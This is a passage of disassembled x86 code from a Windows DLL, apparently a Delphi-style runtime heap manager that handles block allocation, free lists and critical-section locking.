		lea	ecx, [esp+20h+var_1C]
		mov	edx, edi
		mov	eax, offset dword_1000A5E4
		call	sub_1000119C
		mov	ebx, [esp+20h+var_1C]
		test	ebx, ebx
		jz	short loc_10001766
		lea	ecx, [esp+20h+var_14]
		mov	edx, [esp+20h+var_18]
		mov	eax, ebx
		call	sub_1000137C
		mov	eax, [esp+20h+var_14]
		mov	[esp+20h+var_1C], eax
		mov	eax, [esp+20h+var_10]
		mov	[esp+20h+var_18], eax


loc_10001766:				; CODE XREF: sub_100016FC+49j
		cmp	[esp+20h+var_1C], 0
		jz	short loc_10001781
		lea	edx, [esp+20h+var_1C]
		mov	eax, offset dword_1000A5E4
		call	sub_1000120C
		jmp	short loc_10001781
; ---------------------------------------------------------------------------


loc_1000177D:				; CODE XREF: sub_100016FC+24j
		xor	eax, eax
		mov	[edi], eax


loc_10001781:				; CODE XREF: sub_100016FC+6Fj
					; sub_100016FC+7Fj
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100016FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001788	proc near		; CODE XREF: sub_10001E74+14p
					; sub_10002004+19p ...

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 10002B60 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	ebp
		push	offset loc_1000183E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_1000A5B4
		call	sub_100010DC	; InitializeCriticalSection
		cmp	ds:byte_1000A035, 0
		jz	short loc_100017B6
		push	offset dword_1000A5B4
		call	sub_100010E4	; RtlEnterCriticalSection


loc_100017B6:				; CODE XREF: sub_10001788+22j
		mov	eax, offset dword_1000A5D4
		call	sub_1000114C
		mov	eax, offset dword_1000A5E4
		call	sub_1000114C
		mov	eax, offset dword_1000A610
		call	sub_1000114C
		push	0FF8h
		push	0
		call	sub_100010BC	; LocalAlloc
		mov	ds:dword_1000A60C, eax
		cmp	ds:dword_1000A60C, 0
		jz	short loc_1000181D
		mov	eax, 3


loc_100017F3:				; CODE XREF: sub_10001788+7Dj
		mov	edx, ds:dword_1000A60C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_100017F3
		mov	eax, offset off_1000A5F4
		mov	[eax+4], eax
		mov	[eax], eax
		mov	ds:off_1000A600, eax
		mov	ds:byte_1000A5AC, 1


loc_1000181D:				; CODE XREF: sub_10001788+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10001845


loc_1000182A:				; CODE XREF: sub_10001788+BBj
		cmp	ds:byte_1000A035, 0
		jz	short locret_1000183D
		push	offset dword_1000A5B4
		call	sub_100010EC	; RtlLeaveCriticalSection

locret_1000183D:			; CODE XREF: sub_10001788+A9j
		retn
; ---------------------------------------------------------------------------


loc_1000183E:				; DATA XREF: sub_10001788+6o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_1000182A
; ---------------------------------------------------------------------------


loc_10001845:				; DATA XREF: sub_10001788+9Do
		mov	al, ds:byte_1000A5AC
		pop	ebp
		retn
sub_10001788	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000184C	proc near		; CODE XREF: CODE:1000348Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	ds:byte_1000A5AC, 0
		jz	loc_10001929
		xor	edx, edx
		push	ebp
		push	offset loc_10001922
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_1000A035, 0
		jz	short loc_1000187E
		push	offset dword_1000A5B4
		call	sub_100010E4	; RtlEnterCriticalSection


loc_1000187E:				; CODE XREF: sub_1000184C+26j
		mov	ds:byte_1000A5AC, 0
		mov	eax, ds:dword_1000A60C
		push	eax
		call	sub_100010C4	; LocalFree
		xor	eax, eax
		mov	ds:dword_1000A60C, eax
		mov	ebx, ds:dword_1000A5D4
		jmp	short loc_100018B1
; ---------------------------------------------------------------------------


loc_1000189F:				; CODE XREF: sub_1000184C+6Bj
		push	8000h
		push	0
		mov	eax, [ebx+8]
		push	eax
		call	sub_100010D4	; VirtualFree
		mov	ebx, [ebx]


loc_100018B1:				; CODE XREF: sub_1000184C+51j
		cmp	ebx, offset dword_1000A5D4
		jnz	short loc_1000189F
		mov	eax, offset dword_1000A5D4
		call	sub_1000114C
		mov	eax, offset dword_1000A5E4
		call	sub_1000114C
		mov	eax, offset dword_1000A610
		call	sub_1000114C
		mov	eax, ds:dword_1000A5CC
		test	eax, eax
		jz	short loc_100018F7


loc_100018E0:				; CODE XREF: sub_1000184C+A9j
		mov	edx, [eax]
		mov	ds:dword_1000A5CC, edx
		push	eax
		call	sub_100010C4	; LocalFree
		mov	eax, ds:dword_1000A5CC
		test	eax, eax
		jnz	short loc_100018E0


loc_100018F7:				; CODE XREF: sub_1000184C+92j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10001929


loc_10001904:				; CODE XREF: sub_1000184C+DBj
		cmp	ds:byte_1000A035, 0
		jz	short loc_10001917
		push	offset dword_1000A5B4
		call	sub_100010EC	; RtlLeaveCriticalSection


loc_10001917:				; CODE XREF: sub_1000184C+BFj
		push	offset dword_1000A5B4
		call	sub_100010F4	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_10001922:				; DATA XREF: sub_1000184C+14o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10001904
; ---------------------------------------------------------------------------


loc_10001929:				; CODE XREF: sub_1000184C+Bj
					; DATA XREF: sub_1000184C+B3o
		pop	ebx
		pop	ebp
		retn
sub_1000184C	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000192C	proc near		; CODE XREF: sub_10001A3C:loc_10001A9Dp
					; sub_10001AAC+23p ...
		push	ebx
		cmp	eax, ds:off_1000A600
		jnz	short loc_1000193E
		mov	edx, [eax+4]
		mov	ds:off_1000A600, edx


loc_1000193E:				; CODE XREF: sub_1000192C+7j
		mov	edx, [eax+4]
		mov	ecx, [eax+8]
		cmp	ecx, 1000h
		jg	short loc_10001984
		cmp	eax, edx
		jnz	short loc_10001967
		test	ecx, ecx
		jns	short loc_10001957
		add	ecx, 3


loc_10001957:				; CODE XREF: sub_1000192C+26j
		sar	ecx, 2
		mov	eax, ds:dword_1000A60C
		xor	edx, edx
		mov	[eax+ecx*4-0Ch], edx
		jmp	short loc_1000198B
; ---------------------------------------------------------------------------


loc_10001967:				; CODE XREF: sub_1000192C+22j
		test	ecx, ecx
		jns	short loc_1000196E
		add	ecx, 3


loc_1000196E:				; CODE XREF: sub_1000192C+3Dj
		sar	ecx, 2
		mov	ebx, ds:dword_1000A60C
		mov	[ebx+ecx*4-0Ch], edx
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_10001984:				; CODE XREF: sub_1000192C+1Ej
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx


loc_1000198B:				; CODE XREF: sub_1000192C+39j
		pop	ebx
		retn
sub_1000192C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001990	proc near		; CODE XREF: sub_10001AE4+11p
		mov	edx, ds:dword_1000A610
		jmp	short loc_100019A8
; ---------------------------------------------------------------------------


loc_10001998:				; CODE XREF: sub_10001990+1Ej
		mov	ecx, [edx+8]
		cmp	eax, ecx
		jb	short loc_100019A6
		add	ecx, [edx+0Ch]
		cmp	eax, ecx
		jb	short loc_100019BC


loc_100019A6:				; CODE XREF: sub_10001990+Dj
		mov	edx, [edx]


loc_100019A8:				; CODE XREF: sub_10001990+6j
		cmp	edx, offset dword_1000A610
		jnz	short loc_10001998
		mov	ds:dword_1000A5B0, 3
		xor	edx, edx


loc_100019BC:				; CODE XREF: sub_10001990+14j
		mov	eax, edx
		retn
sub_10001990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100019C0	proc near		; CODE XREF: sub_10001AE4+74p
					; sub_10001C68+68p
		push	ebx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		cmp	edx, 10h
		jl	short loc_100019DD
		mov	dword ptr [ebx], 80000007h
		mov	edx, ecx
		call	sub_10001B94
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_100019DD:				; CODE XREF: sub_100019C0+Cj
		cmp	edx, 4
		jl	short loc_100019EE
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	[ebx], ecx


loc_100019EE:				; CODE XREF: sub_100019C0+20j
		pop	ebx
		retn
sub_100019C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_100019F0	proc near		; CODE XREF: sub_10001A14+Dp
					; sub_10001C1C+36p ...
		inc	ds:dword_1000A59C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_1000A5A0, edx
		call	sub_10002004
		retn
sub_100019F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001A14	proc near		; CODE XREF: sub_10001AE4+8Ep
		cmp	edx, 0Ch
		jl	short loc_10001A27
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_100019F0
		retn
; ---------------------------------------------------------------------------


loc_10001A27:				; CODE XREF: sub_10001A14+3j
		cmp	edx, 4
		jl	short loc_10001A36
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_10001A36:				; CODE XREF: sub_10001A14+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_10001A14	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001A3C	proc near		; CODE XREF: sub_10001C68+36p
		push	ebx
		push	esi
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_10001A5F
		mov	ds:dword_1000A5B0, 4


loc_10001A5F:				; CODE XREF: sub_10001A3C+17j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_10001A7F
		mov	ds:dword_1000A5B0, 5


loc_10001A7F:				; CODE XREF: sub_10001A3C+37j
		test	byte ptr [ecx],	1
		jz	short loc_10001AA4
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		cmp	esi, [eax+8]
		jz	short loc_10001A9D
		mov	ds:dword_1000A5B0, 6


loc_10001A9D:				; CODE XREF: sub_10001A3C+55j
		call	sub_1000192C
		add	ebx, esi


loc_10001AA4:				; CODE XREF: sub_10001A3C+46j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_10001A3C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001AAC	proc near		; CODE XREF: sub_10001C68+4Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	edi, edi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_10001AC7
		and	eax, 7FFFFFFCh
		add	edi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_10001AC7:				; CODE XREF: sub_10001AAC+Ej
		test	al, 2
		jnz	short loc_10001ADE
		mov	esi, ebx
		mov	eax, esi
		call	sub_1000192C
		mov	eax, [esi+8]
		add	edi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_10001ADE:				; CODE XREF: sub_10001AAC+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001AAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001AE4	proc near		; CODE XREF: sub_10001B94+61p

var_1C		= byte ptr -1Ch
var_1B		= dword	ptr -1Bh
var_17		= dword	ptr -17h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edi, edx
		mov	esi, eax
		mov	[esp+1Ch+var_1C], 0
		mov	eax, esi
		call	sub_10001990
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_10001B86
		mov	ebp, [ebx+8]
		mov	eax, ebp
		add	eax, [ebx+0Ch]
		mov	edx, eax
		lea	ecx, [edi+esi]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_10001B1C
		mov	edi, eax
		sub	edi, esi


loc_10001B1C:				; CODE XREF: sub_10001AE4+32j
		mov	eax, esi
		sub	eax, ebp
		cmp	eax, 0Ch
		jge	short loc_10001B39
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, esi
		sub	edx, [ebx+8]
		add	edx, edi
		mov	eax, ebp
		call	sub_100016FC
		jmp	short loc_10001B4A
; ---------------------------------------------------------------------------


loc_10001B39:				; CODE XREF: sub_10001AE4+3Fj
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, edi
		sub	edx, 4
		lea	eax, [esi+4]
		call	sub_100016FC


loc_10001B4A:				; CODE XREF: sub_10001AE4+53j
		mov	ebp, [esp+1Ch+var_1B]
		test	ebp, ebp
		jz	short loc_10001B86
		mov	edx, ebp
		sub	edx, esi
		mov	eax, esi
		call	sub_100019C0
		mov	eax, ebp
		add	eax, [esp+1Ch+var_17]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnb	short loc_10001B77
		lea	edx, [edi+esi]
		sub	edx, eax
		call	sub_10001A14


loc_10001B77:				; CODE XREF: sub_10001AE4+87j
		lea	edx, [esp+1Ch+var_1B]
		mov	eax, ebx
		call	sub_1000120C
		mov	[esp+1Ch+var_1C], 1


loc_10001B86:				; CODE XREF: sub_10001AE4+1Aj
					; sub_10001AE4+6Cj
		mov	al, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001AE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001B94	proc near		; CODE XREF: sub_100019C0+16p
					; sub_10001D80+BBp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, edi
		mov	[ebx+8], esi
		mov	eax, ebx
		add	eax, esi
		sub	eax, 0Ch
		mov	[eax+8], esi
		cmp	esi, 1000h
		jg	short loc_10001BE9
		mov	edx, esi
		test	edx, edx
		jns	short loc_10001BBB
		add	edx, 3


loc_10001BBB:				; CODE XREF: sub_10001B94+22j
		sar	edx, 2
		mov	eax, ds:dword_1000A60C
		mov	eax, [eax+edx*4-0Ch]
		test	eax, eax
		jnz	short loc_10001BDB
		mov	eax, ds:dword_1000A60C
		mov	[eax+edx*4-0Ch], ebx
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		jmp	short loc_10001C15
; ---------------------------------------------------------------------------


loc_10001BDB:				; CODE XREF: sub_10001B94+35j
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx
		jmp	short loc_10001C15
; ---------------------------------------------------------------------------


loc_10001BE9:				; CODE XREF: sub_10001B94+1Cj
		cmp	esi, 3C00h
		jl	short loc_10001BFE
		mov	edx, esi
		mov	eax, edi
		call	sub_10001AE4
		test	al, al
		jnz	short loc_10001C15


loc_10001BFE:				; CODE XREF: sub_10001B94+5Bj
		mov	eax, ds:off_1000A600
		mov	ds:off_1000A600, ebx
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx


loc_10001C15:				; CODE XREF: sub_10001B94+45j
					; sub_10001B94+53j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001B94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001C1C	proc near		; CODE XREF: sub_10001C68+Fp
					; sub_10002004+100p ...
		cmp	ds:dword_1000A604, 0
		jle	short locret_10001C65
		cmp	ds:dword_1000A604, 0Ch
		jge	short loc_10001C3A
		mov	ds:dword_1000A5B0, 7
		jmp	short locret_10001C65
; ---------------------------------------------------------------------------


loc_10001C3A:				; CODE XREF: sub_10001C1C+10j
		mov	eax, ds:dword_1000A604
		or	eax, 2
		mov	edx, ds:dword_1000A608
		mov	[edx], eax
		mov	eax, ds:dword_1000A608
		add	eax, 4
		call	sub_100019F0
		xor	eax, eax
		mov	ds:dword_1000A608, eax
		xor	eax, eax
		mov	ds:dword_1000A604, eax

locret_10001C65:			; CODE XREF: sub_10001C1C+7j
					; sub_10001C1C+1Cj
		retn
sub_10001C1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001C68	proc near		; CODE XREF: sub_10001CF4+18p
					; sub_10001D20+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_10001C1C
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset dword_1000A610
		call	sub_1000119C
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_10001C98
		xor	eax, eax
		jmp	short loc_10001CEA
; ---------------------------------------------------------------------------


loc_10001C98:				; CODE XREF: sub_10001C68+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_10001CA8
		call	sub_10001A3C
		sub	[edi], eax
		add	[edi+4], eax


loc_10001CA8:				; CODE XREF: sub_10001C68+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_10001CBF
		call	sub_10001AAC
		add	[edi+4], eax


loc_10001CBF:				; CODE XREF: sub_10001C68+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_10001CD9
		sub	eax, 4
		mov	edx, 4
		call	sub_100019C0
		sub	dword ptr [edi+4], 4


loc_10001CD9:				; CODE XREF: sub_10001C68+5Ej
		mov	eax, [edi]
		mov	ds:dword_1000A608, eax
		mov	eax, [edi+4]
		mov	ds:dword_1000A604, eax
		mov	al, 1


loc_10001CEA:				; CODE XREF: sub_10001C68+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001C68	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001CF4	proc near		; CODE XREF: sub_10001D80+57p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_10001548
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_10001D15
		mov	eax, esp
		call	sub_10001C68
		test	al, al
		jnz	short loc_10001D19


loc_10001D15:				; CODE XREF: sub_10001CF4+14j
		xor	eax, eax
		jmp	short loc_10001D1B
; ---------------------------------------------------------------------------


loc_10001D19:				; CODE XREF: sub_10001CF4+1Fj
		mov	al, 1


loc_10001D1B:				; CODE XREF: sub_10001CF4+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_10001CF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001D20	proc near		; CODE XREF: sub_100021A8+1A4p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_100015D8
		cmp	[esp+10h+var_10], 0
		jz	short loc_10001D46
		mov	eax, esp
		call	sub_10001C68
		test	al, al
		jnz	short loc_10001D4A


loc_10001D46:				; CODE XREF: sub_10001D20+19j
		xor	eax, eax
		jmp	short loc_10001D4C
; ---------------------------------------------------------------------------


loc_10001D4A:				; CODE XREF: sub_10001D20+24j
		mov	al, 1


loc_10001D4C:				; CODE XREF: sub_10001D20+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_10001D20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001D54	proc near		; CODE XREF: sub_10001D80+4Ap
		xor	edx, edx
		test	eax, eax
		jns	short loc_10001D5D
		add	eax, 3


loc_10001D5D:				; CODE XREF: sub_10001D54+4j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_10001D7D


loc_10001D67:				; CODE XREF: sub_10001D54+27j
		mov	edx, ds:dword_1000A60C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jnz	short loc_10001D7D
		inc	eax
		cmp	eax, 401h
		jnz	short loc_10001D67


loc_10001D7D:				; CODE XREF: sub_10001D54+11j
					; sub_10001D54+1Fj
		mov	eax, edx
		retn
sub_10001D54	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001D80	proc near		; CODE XREF: sub_10001E74+153p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, eax
		mov	edi, offset off_1000A600
		mov	ebp, offset dword_1000A604


loc_10001D90:				; CODE XREF: sub_10001D80+6Aj
		mov	ebx, ds:off_1000A5F8
		cmp	esi, [ebx+8]
		jle	loc_10001E23
		mov	ebx, [edi]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_10001E23
		mov	[ebx+8], esi


loc_10001DAB:				; CODE XREF: sub_10001D80+31j
		mov	ebx, [ebx+4]
		cmp	esi, [ebx+8]
		jg	short loc_10001DAB
		mov	edx, [edi]
		mov	[edx+8], eax
		cmp	ebx, [edi]
		jz	short loc_10001DC0
		mov	[edi], ebx
		jmp	short loc_10001E23
; ---------------------------------------------------------------------------


loc_10001DC0:				; CODE XREF: sub_10001D80+3Aj
		cmp	esi, 1000h
		jg	short loc_10001DD5
		mov	eax, esi
		call	sub_10001D54
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_10001E23


loc_10001DD5:				; CODE XREF: sub_10001D80+46j
		mov	eax, esi
		call	sub_10001CF4
		test	al, al
		jnz	short loc_10001DE7
		xor	eax, eax
		jmp	loc_10001E6F
; ---------------------------------------------------------------------------


loc_10001DE7:				; CODE XREF: sub_10001D80+5Ej
		cmp	esi, [ebp+0]
		jg	short loc_10001D90
		sub	[ebp+0], esi
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_10001DFD
		add	esi, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_10001DFD:				; CODE XREF: sub_10001D80+73j
		mov	eax, ds:dword_1000A608
		add	ds:dword_1000A608, esi
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_1000A59C
		sub	esi, 4
		add	ds:dword_1000A5A0, esi
		jmp	short loc_10001E6F
; ---------------------------------------------------------------------------


loc_10001E23:				; CODE XREF: sub_10001D80+19j
					; sub_10001D80+26j ...
		mov	eax, ebx
		call	sub_1000192C
		mov	edx, [ebx+8]
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Ch
		jl	short loc_10001E42
		mov	edx, ebx
		add	edx, esi
		xchg	eax, edx
		call	sub_10001B94
		jmp	short loc_10001E54
; ---------------------------------------------------------------------------


loc_10001E42:				; CODE XREF: sub_10001D80+B4j
		mov	esi, edx
		cmp	ebx, [edi]
		jnz	short loc_10001E4D
		mov	eax, [ebx+4]
		mov	[edi], eax


loc_10001E4D:				; CODE XREF: sub_10001D80+C6j
		mov	eax, ebx
		add	eax, esi
		and	dword ptr [eax], 0FFFFFFFEh


loc_10001E54:				; CODE XREF: sub_10001D80+C0j
		mov	eax, ebx
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_1000A59C
		sub	esi, 4
		add	ds:dword_1000A5A0, esi


loc_10001E6F:				; CODE XREF: sub_10001D80+62j
					; sub_10001D80+A1j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001D80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001E74	proc near		; CODE XREF: sub_10002384+5Cp
					; sub_10002448+5p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		cmp	ds:byte_1000A5AC, 0
		jnz	short loc_10001E91
		call	sub_10001788
		test	al, al
		jz	short loc_10001E99


loc_10001E91:				; CODE XREF: sub_10001E74+12j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_10001EA3


loc_10001E99:				; CODE XREF: sub_10001E74+1Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_10001FF7
; ---------------------------------------------------------------------------


loc_10001EA3:				; CODE XREF: sub_10001E74+23j
		xor	ecx, ecx
		push	ebp
		push	offset loc_10001FF0
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_1000A035, 0
		jz	short loc_10001EC4
		push	offset dword_1000A5B4
		call	sub_100010E4	; RtlEnterCriticalSection


loc_10001EC4:				; CODE XREF: sub_10001E74+44j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_10001ED4
		mov	ebx, 0Ch


loc_10001ED4:				; CODE XREF: sub_10001E74+59j
		cmp	ebx, 1000h
		jg	loc_10001F73
		mov	eax, ebx
		test	eax, eax
		jns	short loc_10001EE9
		add	eax, 3


loc_10001EE9:				; CODE XREF: sub_10001E74+70j
		sar	eax, 2
		mov	edx, ds:dword_1000A60C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jz	short loc_10001F73
		mov	esi, edx
		mov	eax, esi
		add	eax, ebx
		and	dword ptr [eax], 0FFFFFFFEh
		mov	eax, [edx+4]
		cmp	edx, eax
		jnz	short loc_10001F24
		mov	eax, ebx
		test	eax, eax
		jns	short loc_10001F13
		add	eax, 3


loc_10001F13:				; CODE XREF: sub_10001E74+9Aj
		sar	eax, 2
		mov	ecx, ds:dword_1000A60C
		xor	edi, edi
		mov	[ecx+eax*4-0Ch], edi
		jmp	short loc_10001F4A
; ---------------------------------------------------------------------------


loc_10001F24:				; CODE XREF: sub_10001E74+94j
		mov	ecx, ebx
		test	ecx, ecx
		jns	short loc_10001F2D
		add	ecx, 3


loc_10001F2D:				; CODE XREF: sub_10001E74+B4j
		sar	ecx, 2
		mov	edi, ds:dword_1000A60C
		mov	[edi+ecx*4-0Ch], eax
		mov	ecx, [edx]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_10001F4A:				; CODE XREF: sub_10001E74+AEj
		mov	eax, esi
		mov	edx, [edx+8]
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_1000A59C
		sub	ebx, 4
		add	ds:dword_1000A5A0, ebx
		call	sub_10002C1C
		jmp	loc_10001FF7
; ---------------------------------------------------------------------------


loc_10001F73:				; CODE XREF: sub_10001E74+66j
					; sub_10001E74+84j
		cmp	ebx, ds:dword_1000A604
		jg	short loc_10001FC5
		sub	ds:dword_1000A604, ebx
		cmp	ds:dword_1000A604, 0Ch
		jge	short loc_10001F97
		add	ebx, ds:dword_1000A604
		xor	eax, eax
		mov	ds:dword_1000A604, eax


loc_10001F97:				; CODE XREF: sub_10001E74+114j
		mov	eax, ds:dword_1000A608
		add	ds:dword_1000A608, ebx
		mov	edx, ebx
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_1000A59C
		sub	ebx, 4
		add	ds:dword_1000A5A0, ebx
		call	sub_10002C1C
		jmp	short loc_10001FF7
; ---------------------------------------------------------------------------


loc_10001FC5:				; CODE XREF: sub_10001E74+105j
		mov	eax, ebx
		call	sub_10001D80
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10001FF7


loc_10001FDC:				; CODE XREF: sub_10001E74+181j
		cmp	ds:byte_1000A035, 0
		jz	short locret_10001FEF
		push	offset dword_1000A5B4
		call	sub_100010EC	; RtlLeaveCriticalSection

locret_10001FEF:			; CODE XREF: sub_10001E74+16Fj
		retn
; ---------------------------------------------------------------------------


loc_10001FF0:				; DATA XREF: sub_10001E74+32o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10001FDC
; ---------------------------------------------------------------------------


loc_10001FF7:				; CODE XREF: sub_10001E74+2Aj
					; sub_10001E74+FAj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_10001E74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002004	proc near		; CODE XREF: sub_100019F0+1Cp
					; sub_10002384+88p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_1000A5B0, eax
		cmp	ds:byte_1000A5AC, 0
		jnz	short loc_1000203C
		call	sub_10001788
		test	al, al
		jnz	short loc_1000203C
		mov	ds:dword_1000A5B0, 8
		mov	[ebp+var_4], 8
		jmp	loc_1000219D
; ---------------------------------------------------------------------------


